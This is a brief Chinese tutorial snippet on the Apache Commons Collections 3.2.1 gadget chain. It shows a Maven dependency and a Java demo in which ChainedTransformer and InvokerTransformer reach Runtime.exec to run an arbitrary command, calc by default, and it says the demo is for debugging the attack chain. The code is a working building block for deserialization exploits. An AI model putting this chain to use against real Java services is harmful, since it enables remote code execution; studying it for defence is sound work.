• Pom.xml里引入common-collections
  1. <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
  2. <dependency>
  3. <groupId>commons-collections</groupId>
  4. <artifactId>commons-collections</artifactId>
  5. <version>3.2.1</version>
  6. </dependency>
  • Java中执行Demo
  1. package springbootsimple.demo;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.util.HashMap;
  8. import java.util.Map;
  9. public class Run002 {
  10. public static void main(String[] args) throws Exception {
  11. String command = (args.length != 0) ? args[0] : "calc";
  12. String[] execArgs = command.split(",");
  13. Transformer[] transforms = new Transformer[] {
  14. new ConstantTransformer(Runtime.class),
  15. new InvokerTransformer(
  16. "getMethod",
  17. new Class[] {String.class, Class[].class},
  18. new Object[] {"getRuntime", new Class[0]}
  19. ),
  20. new InvokerTransformer(
  21. "invoke",
  22. new Class[] {Object.class, Object[].class},
  23. new Object[] {null, new Object[0]}
  24. ),
  25. new InvokerTransformer(
  26. "exec",
  27. new Class[] {String[].class},
  28. new Object[] {execArgs}
  29. )
  30. };
  31. Transformer transformerChain = new ChainedTransformer(transforms);
  32. Map tempMap = new HashMap<String, Object>();
  33. Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
  34. exMap.put("1111", "2222");
  35. for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {
  36. exMapValue.setValue(1);
  37. }
  38. }
  39. }
  • 用途:可以用来Debug,了解整个攻击链路。

参考资料